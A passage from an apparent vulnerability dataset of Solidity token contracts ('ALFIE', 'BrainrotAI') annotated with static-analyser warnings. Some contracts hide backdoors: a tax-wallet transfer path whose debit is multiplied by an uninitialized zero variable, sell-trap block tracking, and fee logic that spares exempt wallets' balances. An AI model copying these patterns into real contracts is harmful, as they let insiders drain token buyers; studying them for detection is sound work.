OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract ALFIE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 97c0f15): ALFIE._taxWallet should be immutable \n\t// Recommendation for 97c0f15: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: de6d3c1): ALFIE._initialBuyTax should be constant \n\t// Recommendation for de6d3c1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5f6ea3d): ALFIE._initialSellTax should be constant \n\t// Recommendation for 5f6ea3d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6688a1): ALFIE._finalBuyTax should be constant \n\t// Recommendation for a6688a1: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55990b7): ALFIE._finalSellTax should be constant \n\t// Recommendation for 55990b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e1ebec9): ALFIE._reduceBuyTaxAt should be constant \n\t// Recommendation for e1ebec9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: c81bd13): ALFIE._reduceSellTaxAt should be constant \n\t// Recommendation for c81bd13: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a3c7b0): ALFIE._preventSwapBefore should be constant \n\t// Recommendation for 9a3c7b0: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 4;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Robinhood Dog\";\n\n string private constant _symbol = unicode\"ALFIE\";\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n uint256 public constant _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n uint256 public constant _maxTaxSwap = 8000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e7d772): ALFIE.refundLimit should be constant \n\t// Recommendation for 1e7d772: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 61d32ac): ALFIE.refundLimit is never initialized. It is used in ALFIE._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 61d32ac: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private refundLimit;\n\n struct ChainRefund {\n uint256 refAmount;\n uint256 claimAmount;\n uint256 refClaimTotal;\n }\n\n mapping(address => ChainRefund) private chainRefund;\n\n uint256 private refundTotalAmount;\n\n IUniswapV2Router02 private immutable uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7Db97D0FC4C2c2cD3b59e6d1fA598A2338d4b6A2);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5ce780c): ALFIE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5ce780c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d7f6c37): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d7f6c37: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f6151ae): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f6151ae: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d7f6c37\n\t\t// reentrancy-benign | ID: f6151ae\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d7f6c37\n\t\t// reentrancy-benign | ID: f6151ae\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc613fb): ALFIE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc613fb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f6151ae\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d7f6c37\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5da2680): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5da2680: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6fe1565): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6fe1565: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 38bca16): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 38bca16: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 5da2680\n\t\t\t\t// reentrancy-benign | ID: 6fe1565\n\t\t\t\t// reentrancy-eth | ID: 38bca16\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5da2680\n\t\t\t\t\t// reentrancy-eth | ID: 38bca16\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 6fe1565\n refundTotalAmount = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (uniswapV2Pair != to) {\n ChainRefund storage chainRef = chainRefund[to];\n\n if (uniswapV2Pair == from) {\n if (chainRef.refAmount == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 6fe1565\n chainRef.refAmount = _buyCount < _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n ChainRefund storage chainRefSwap = chainRefund[from];\n\n if (\n chainRefSwap.refAmount < chainRef.refAmount ||\n !(chainRef.refAmount > 0)\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 6fe1565\n chainRef.refAmount = chainRefSwap.refAmount;\n }\n }\n } else {\n ChainRefund storage chainRefSwap = chainRefund[from];\n\n\t\t\t\t// reentrancy-benign | ID: 6fe1565\n chainRefSwap.claimAmount = chainRefSwap.refAmount.sub(\n refundTotalAmount\n );\n\n\t\t\t\t// reentrancy-benign | ID: 6fe1565\n chainRefSwap.refClaimTotal = block.timestamp;\n }\n }\n\n\t\t// reentrancy-events | ID: 5da2680\n\t\t// reentrancy-eth | ID: 38bca16\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 61d32ac): ALFIE.refundLimit is never initialized. It is used in ALFIE._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 61d32ac: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : refundLimit.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 38bca16\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5da2680\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 38bca16\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 38bca16\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 5da2680\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5da2680\n\t\t// reentrancy-events | ID: d7f6c37\n\t\t// reentrancy-benign | ID: 6fe1565\n\t\t// reentrancy-benign | ID: f6151ae\n\t\t// reentrancy-eth | ID: 38bca16\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5da2680\n\t\t// reentrancy-events | ID: d7f6c37\n\t\t// reentrancy-eth | ID: 38bca16\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2abaed0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2abaed0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e973aad): ALFIE.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e973aad: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f976203): ALFIE.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f976203: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d9758af): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d9758af: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 2abaed0\n\t\t// reentrancy-eth | ID: d9758af\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 2abaed0\n swapEnabled = true;\n\n\t\t// unused-return | ID: f976203\n\t\t// reentrancy-eth | ID: d9758af\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: e973aad\n\t\t// reentrancy-eth | ID: d9758af\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: d9758af\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n", "file_name": "solidity_code_10005.sol", "size_bytes": 22715, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable {\n address internal owner;\n\n constructor(address _owner) {\n owner = _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner(msg.sender), \"!OWNER\");\n\n _;\n }\n\n function isOwner(address account) public view returns (bool) {\n return account == owner;\n }\n\n function renounceOwnership() public onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(address(0));\n }\n\n event OwnershipTransferred(address owner);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n}\n\ncontract BrainrotAI is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7fb65cb): BrainrotAI.routerAdress should be constant \n\t// Recommendation for 7fb65cb: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: 519a5c7): BrainrotAI.DEAD should be constant \n\t// Recommendation for 519a5c7: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string private _name;\n\n string private _symbol;\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f9c547): BrainrotAI._totalSupply should be constant \n\t// Recommendation for 8f9c547: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 1_000_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fff14d3): BrainrotAI._swapBrainrotAIThreshHold should be immutable \n\t// Recommendation for fff14d3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapBrainrotAIThreshHold = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ecf16a1): BrainrotAI._maxTaxSwap should be immutable \n\t// Recommendation for ecf16a1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 10) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private BrainrotAIs;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f80e782): BrainrotAI._BrainrotAIWallet should be immutable \n\t// Recommendation for f80e782: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _BrainrotAIWallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public BrainrotAIFeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: faca292): BrainrotAI._initBuyTax should be constant \n\t// Recommendation for faca292: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a61b787): BrainrotAI._initSellTax should be constant \n\t// Recommendation for a61b787: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 64e70ef): BrainrotAI._reduceBuyTaxAt should be constant \n\t// Recommendation for 64e70ef: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c79fdfb): BrainrotAI._reduceSellTaxAt should be constant \n\t// Recommendation for c79fdfb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0195f4a): BrainrotAI.constructor(address,string,string).BrainrotAIWallet lacks a zerocheck on \t _BrainrotAIWallet = BrainrotAIWallet\n\t// Recommendation for 0195f4a: Check that the address is not zero.\n constructor(\n address BrainrotAIWallet,\n string memory name_,\n string memory symbol_\n ) Ownable(msg.sender) {\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: 0195f4a\n _BrainrotAIWallet = BrainrotAIWallet;\n\n _name = name_;\n\n _symbol = symbol_;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_BrainrotAIWallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_BrainrotAIWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawBrainrotAIBalance() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function enableBrainrotAITrade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n BrainrotAIFeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getBrainrotAIAmounts(\n uint action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : BrainrotAIFeeEnabled\n ? takeBrainrotAIAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = BrainrotAIFeeEnabled && takeFee\n ? takeBrainrotAIAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4eea463): BrainrotAI.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_BrainrotAIWallet).transfer(ethAmountFor)\n\t// Recommendation for 4eea463: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: 15525fb\n\t\t// reentrancy-eth | ID: 03ca403\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: 15525fb\n\t\t// reentrancy-eth | ID: 03ca403\n\t\t// arbitrary-send-eth | ID: 4eea463\n payable(_BrainrotAIWallet).transfer(ethAmountFor);\n }\n\n function removeBrainrotAILimit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeBrainrotAIAmountAfterFees(\n uint BrainrotAIActions,\n bool BrainrotAITakefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 BrainrotAIPercents;\n\n uint256 BrainrotAIFeePrDenominator = 100;\n\n if (BrainrotAITakefee) {\n if (BrainrotAIActions > 1) {\n BrainrotAIPercents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (BrainrotAIActions > 0) {\n BrainrotAIPercents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n BrainrotAIPercents = 0;\n }\n }\n } else {\n BrainrotAIPercents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(BrainrotAIPercents).div(\n BrainrotAIFeePrDenominator\n );\n\n\t\t// reentrancy-eth | ID: 03ca403\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = BrainrotAITakefee\n ? feeAmounts\n : amounts.div(BrainrotAIPercents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getBrainrotAIAmounts(\n action,\n takeFee,\n amount\n );\n\n\t\t// reentrancy-eth | ID: 